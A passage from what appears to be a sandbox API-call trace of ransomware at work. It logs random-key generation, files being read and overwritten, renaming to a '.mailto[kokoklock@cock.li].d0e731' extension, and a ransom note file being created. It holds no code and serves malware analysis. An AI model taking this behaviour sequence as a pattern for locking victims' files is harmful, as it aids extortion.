Seed=0x2013f7c4 | out: Seed=0x2013f7c4) returned 0x5c3cd5c2 [0078.360] RtlRandom (in: Seed=0x2013f7c4 | out: Seed=0x2013f7c4) returned 0x672c7e26 [0078.360] RtlRandom (in: Seed=0x2013f7c4 | out: Seed=0x2013f7c4) returned 0xe866cd48 [0078.360] RtlRandom (in: Seed=0x2013f7c4 | out: Seed=0x2013f7c4) returned 0x2b94349a [0078.360] RtlRandom (in: Seed=0x2013f7c4 | out: Seed=0x2013f7c4) returned 0xdd059cf3 [0078.360] RtlRandom (in: Seed=0x2013f7c4 | out: Seed=0x2013f7c4) returned 0x9bf06112 [0078.360] RtlRandom (in: Seed=0x2013f7c4 | out: Seed=0x2013f7c4) returned 0x1e19fadb [0078.360] RtlRandom (in: Seed=0x2013f7c4 | out: Seed=0x2013f7c4) returned 0x45472ad0 [0078.360] RtlRandom (in: Seed=0x2013f7c4 | out: Seed=0x2013f7c4) returned 0x798836c7 [0078.360] RtlRandom (in: Seed=0x2013f7c4 | out: Seed=0x2013f7c4) returned 0xbc5652e2 [0078.360] RtlRandom (in: Seed=0x2013f7c4 | out: Seed=0x2013f7c4) returned 0x8cfbbe0c [0078.360] RtlRandom (in: Seed=0x2013f7c4 | out: Seed=0x2013f7c4) returned 0x6ff23ce0 [0078.360] RtlRandom (in: Seed=0x2013f7c4 | out: Seed=0x2013f7c4) returned 0x34327c00 [0078.360] RtlRandom (in: Seed=0x2013f7c4 | out: Seed=0x2013f7c4) returned 0xa3abf029 [0078.360] RtlRandom (in: Seed=0x2013f7c4 | out: Seed=0x2013f7c4) returned 0x3b46cd99 [0078.360] RtlRandom (in: Seed=0x2013f7c4 | out: Seed=0x2013f7c4) returned 0x29b45bf0 [0078.360] RtlRandom (in: Seed=0x2013f7c4 | out: Seed=0x2013f7c4) returned 0xf5641c87 [0078.360] RtlRandom (in: Seed=0x2013f7c4 | out: Seed=0x2013f7c4) returned 0x43d1b6 [0078.361] RtlRandom (in: Seed=0x2013f7c4 | out: Seed=0x2013f7c4) returned 0xd0a833f4 [0078.361] RtlRandom (in: Seed=0x2013f7c4 | out: Seed=0x2013f7c4) returned 0x7ea849e0 [0078.361] RtlRandom (in: Seed=0x2013f7c4 | out: Seed=0x2013f7c4) returned 0x16cbccf4 [0078.372] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0078.372] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ca8) returned 1 [0078.372] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0078.372] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0078.372] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ca8 [0078.372] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ca8) returned 1 [0078.372] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0078.372] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0078.372] ReadFile (in: hFile=0x5c0, lpBuffer=0x348d230, nNumberOfBytesToRead=0x8b5, lpNumberOfBytesRead=0x2013f7b8, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2013f7b8*=0x8b5, lpOverlapped=0x0) returned 1 [0078.372] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2013f780 | out: lpNewFilePointer=0x0) returned 1 [0078.372] WriteFile (in: hFile=0x5c0, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x8b5, lpNumberOfBytesWritten=0x2013f7b4, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x2013f7b4*=0x8b5, lpOverlapped=0x0) returned 1 [0078.372] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ca8 [0078.372] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ed8 [0078.372] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ed8) returned 1 [0078.372] WriteFile (in: hFile=0x5c0, lpBuffer=0x3492ca8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2013f7b0, lpOverlapped=0x0 | out: lpBuffer=0x3492ca8*, lpNumberOfBytesWritten=0x2013f7b0*=0x20, lpOverlapped=0x0) returned 1 [0078.373] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ca8) returned 1 [0078.373] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0078.373] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0078.373] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0078.373] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0078.373] WriteFile (in: hFile=0x5c0, lpBuffer=0x3492988*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2013f7dc, lpOverlapped=0x0 | out: lpBuffer=0x3492988*, lpNumberOfBytesWritten=0x2013f7dc*=0x8, lpOverlapped=0x0) returned 1 [0078.373] WriteFile (in: hFile=0x5c0, lpBuffer=0x2013f7f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2013f7dc, lpOverlapped=0x0 | out: lpBuffer=0x2013f7f4*, lpNumberOfBytesWritten=0x2013f7dc*=0x4, lpOverlapped=0x0) returned 1 [0078.373] WriteFile (in: hFile=0x5c0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2013f7dc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2013f7dc*=0x4, lpOverlapped=0x0) returned 1 [0078.373] WriteFile (in: hFile=0x5c0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2013f7dc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2013f7dc*=0x6c, lpOverlapped=0x0) returned 1 [0078.373] WriteFile (in: hFile=0x5c0, lpBuffer=0x3492d20*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2013f7dc, lpOverlapped=0x0 | out: lpBuffer=0x3492d20*, lpNumberOfBytesWritten=0x2013f7dc*=0x20, lpOverlapped=0x0) returned 1 [0078.373] WriteFile (in: hFile=0x5c0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2013f7dc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2013f7dc*=0x4, lpOverlapped=0x0) returned 1 [0078.373] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492d20) returned 1 [0078.373] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492910) returned 1 [0078.373] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492988) returned 1 [0078.373] CloseHandle (hObject=0x5c0) returned 1 [0078.374] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10a) returned 0x33e8f08 [0078.374] wcscpy (in: _Dest=0x33e8f08, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml" [0078.374] wcscat (in: _Dest=0x33e8f08, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" [0078.374] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0078.374] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0078.375] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8f08) returned 1 [0078.375] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml", dwFileAttributes=0x20) returned 0 [0078.375] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x33f8248 [0078.375] wcscpy (in: _Dest=0x33f8248, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\" [0078.375] wcscat (in: _Dest=0x33f8248, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\D0E731-Readme.txt" [0078.375] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\d0e731-readme.txt")) returned 0xffffffff [0078.375] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0 [0078.378] WriteFile (in: hFile=0x5c0, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2013f7d8, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x2013f7d8*=0x481, lpOverlapped=0x0) returned 1 [0078.379] CloseHandle (hObject=0x5c0) returned 1 [0078.379] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f8248) returned 1 [0078.379] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434d08) returned 1 [0078.379] RtlExitUserThread (Status=0x1) Thread: id = 873 os_tid = 0x14a8 [0078.380] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\masterdatastore.xml")) returned 0x20 [0078.380] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml", dwFileAttributes=0x20) returned 1 [0078.380] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0 [0078.381] GetFileSizeEx (in: hFile=0x5c0, lpFileSize=0x201bf7c8 | out: lpFileSize=0x201bf7c8*=271) returned 1 [0078.381] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x10b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.381] ReadFile (in: hFile=0x5c0, lpBuffer=0x201bf79c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x201bf798, lpOverlapped=0x0 | out: lpBuffer=0x201bf79c*, lpNumberOfBytesRead=0x201bf798*=0x4, lpOverlapped=0x0) returned 1 [0078.382] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.382] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ca8 [0078.382] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492d20 [0078.382] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492910 [0078.382] NtQuerySystemTime (in: CurrentTime=0x201bf774 | out: CurrentTime=0x201bf774*=132121176362690429) returned 0x0 [0078.382] RtlRandom (in: Seed=0x201bf780 | out: Seed=0x201bf780) returned 0xb6f28668 [0078.382] RtlRandom (in: Seed=0x201bf780 | out: Seed=0x201bf780) returned 0x7329686d [0078.382] RtlRandom (in: Seed=0x201bf780 | out: Seed=0x201bf780) returned 0xacb74b08 [0078.382] RtlRandom (in: Seed=0x201bf780 | out: Seed=0x201bf780) returned 0xa291aa68 [0078.382] RtlRandom (in: Seed=0x201bf780 | out: Seed=0x201bf780) returned 0x5f3766e [0078.382] RtlRandom (in: Seed=0x201bf780 | out: Seed=0x201bf780) returned 0x58372cf8 [0078.382] RtlRandom (in: Seed=0x201bf780 | out: Seed=0x201bf780) returned 0x1d6a7766 [0078.382] RtlRandom (in: Seed=0x201bf780 | out: Seed=0x201bf780) returned 0xb10739ed [0078.382] RtlRandom (in: Seed=0x201bf780 | out: Seed=0x201bf780) returned 0x48760aaf [0078.382] RtlRandom (in: Seed=0x201bf780 | out: Seed=0x201bf780) returned 0xdb5b778 [0078.382] RtlRandom (in: Seed=0x201bf780 | out: Seed=0x201bf780) returned 0x66eb3fb7 [0078.382] RtlRandom (in: Seed=0x201bf780 | out: Seed=0x201bf780) returned 0x9866df0a [0078.382] RtlRandom (in: Seed=0x201bf780 | out: Seed=0x201bf780) returned 0x52d96f9a [0078.382] RtlRandom (in: Seed=0x201bf780 | out: Seed=0x201bf780) returned 0x100341b6 [0078.382] RtlRandom (in: Seed=0x201bf780 | out: Seed=0x201bf780) returned 0xf0cac873 [0078.382] RtlRandom (in: Seed=0x201bf780 | out: Seed=0x201bf780) returned 0x1d920ee7 [0078.382] RtlRandom (in: Seed=0x201bf780 | out: Seed=0x201bf780) returned 0x4e9472da [0078.382] RtlRandom (in: Seed=0x201bf780 | out: Seed=0x201bf780) returned 0x5be482c7 [0078.382] RtlRandom (in: Seed=0x201bf780 | out: Seed=0x201bf780) returned 0x9e14c16e [0078.382] RtlRandom (in: Seed=0x201bf780 | out: Seed=0x201bf780) returned 0xe201dfb8 [0078.382] RtlRandom (in: Seed=0x201bf780 | out: Seed=0x201bf780) returned 0xdcca98be [0078.382] RtlRandom (in: Seed=0x201bf780 | out: Seed=0x201bf780) returned 0xcce881f5 [0078.382] RtlRandom (in: Seed=0x201bf780 | out: Seed=0x201bf780) returned 0xdfad4311 [0078.383] RtlRandom (in: Seed=0x201bf780 | out: Seed=0x201bf780) returned 0x33578f43 [0078.383] RtlRandom (in: Seed=0x201bf780 | out: Seed=0x201bf780) returned 0x107e47b0 [0078.383] RtlRandom (in: Seed=0x201bf780 | out: Seed=0x201bf780) returned 0x25a3b3b5 [0078.383] RtlRandom (in: Seed=0x201bf780 | out: Seed=0x201bf780) returned 0x8e0a7d24 [0078.383] RtlRandom (in: Seed=0x201bf780 | out: Seed=0x201bf780) returned 0x7f1d006b [0078.383] RtlRandom (in: Seed=0x201bf780 | out: Seed=0x201bf780) returned 0xb70960cb [0078.383] RtlRandom (in: Seed=0x201bf780 | out: Seed=0x201bf780) returned 0x7b5361f4 [0078.383] RtlRandom (in: Seed=0x201bf780 | out: Seed=0x201bf780) returned 0x585082 [0078.383] RtlRandom (in: Seed=0x201bf780 | out: Seed=0x201bf780) returned 0x58546b0e [0078.394] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0078.394] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ca8) returned 1 [0078.394] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0078.394] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0078.394] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ca8 [0078.394] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ca8) returned 1 [0078.394] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0078.394] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0078.394] ReadFile (in: hFile=0x5c0, lpBuffer=0x348d230, nNumberOfBytesToRead=0x10f, lpNumberOfBytesRead=0x201bf774, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x201bf774*=0x10f, lpOverlapped=0x0) returned 1 [0078.394] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x201bf73c | out: lpNewFilePointer=0x0) returned 1 [0078.394] WriteFile (in: hFile=0x5c0, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x10f, lpNumberOfBytesWritten=0x201bf770, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x201bf770*=0x10f, lpOverlapped=0x0) returned 1 [0078.394] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ca8 [0078.394] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ed8 [0078.394] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ed8) returned 1 [0078.394] WriteFile (in: hFile=0x5c0, lpBuffer=0x3492ca8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x201bf76c, lpOverlapped=0x0 | out: lpBuffer=0x3492ca8*, lpNumberOfBytesWritten=0x201bf76c*=0x20, lpOverlapped=0x0) returned 1 [0078.394] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ca8) returned 1 [0078.394] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0078.394] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0078.395] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0078.395] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0078.395] WriteFile (in: hFile=0x5c0, lpBuffer=0x3493220*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x201bf798, lpOverlapped=0x0 | out: lpBuffer=0x3493220*, lpNumberOfBytesWritten=0x201bf798*=0x8, lpOverlapped=0x0) returned 1 [0078.395] WriteFile (in: hFile=0x5c0, lpBuffer=0x201bf7b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x201bf798, lpOverlapped=0x0 | out: lpBuffer=0x201bf7b0*, lpNumberOfBytesWritten=0x201bf798*=0x4, lpOverlapped=0x0) returned 1 [0078.395] WriteFile (in: hFile=0x5c0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x201bf798, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x201bf798*=0x4, lpOverlapped=0x0) returned 1 [0078.395] WriteFile (in: hFile=0x5c0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x201bf798, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x201bf798*=0x6c, lpOverlapped=0x0) returned 1 [0078.395] WriteFile (in: hFile=0x5c0, lpBuffer=0x3492d20*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x201bf798, lpOverlapped=0x0 | out: lpBuffer=0x3492d20*, lpNumberOfBytesWritten=0x201bf798*=0x20, lpOverlapped=0x0) returned 1 [0078.395] WriteFile (in: hFile=0x5c0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x201bf798, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x201bf798*=0x4, lpOverlapped=0x0) returned 1 [0078.395] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492d20) returned 1 [0078.395] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492988) returned 1 [0078.395] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493220) returned 1 [0078.395] CloseHandle (hObject=0x5c0) returned 1 [0078.395] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10c) returned 0x33e8f08 [0078.395] wcscpy (in: _Dest=0x33e8f08, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml" [0078.395] wcscat (in: _Dest=0x33e8f08, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" [0078.396] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\masterdatastore.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0078.396] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0078.396] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8f08) returned 1 [0078.396] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml", dwFileAttributes=0x20) returned 0 [0078.397] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x33f8248 [0078.397] wcscpy (in: _Dest=0x33f8248, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\" [0078.397] wcscat (in: _Dest=0x33f8248, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\D0E731-Readme.txt" [0078.397] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\d0e731-readme.txt")) returned 0x20 [0078.397] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f8248) returned 1 [0078.397] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34765e0) returned 1 [0078.397] RtlExitUserThread (Status=0x1) Thread: id = 874 os_tid = 0x14ac [0078.398] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb0) returned 0x3429780 [0078.398] wcscpy (in: _Dest=0x3429780, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov" [0078.398] wcscat (in: _Dest=0x3429780, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\" [0078.398] wcscat (in: _Dest=0x3429780, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\*" [0078.398] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f32a8 [0078.398] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\*", lpFindFileData=0x33f32a8 | out: lpFindFileData=0x33f32a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0618 [0078.399] wcscmp (_String1=".", _String2=".") returned 0 [0078.399] FindNextFileW (in: hFindFile=0x33e0618, lpFindFileData=0x33f32a8 | out: lpFindFileData=0x33f32a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.399] wcscmp (_String1="..", _String2=".") returned 1 [0078.399] wcscmp 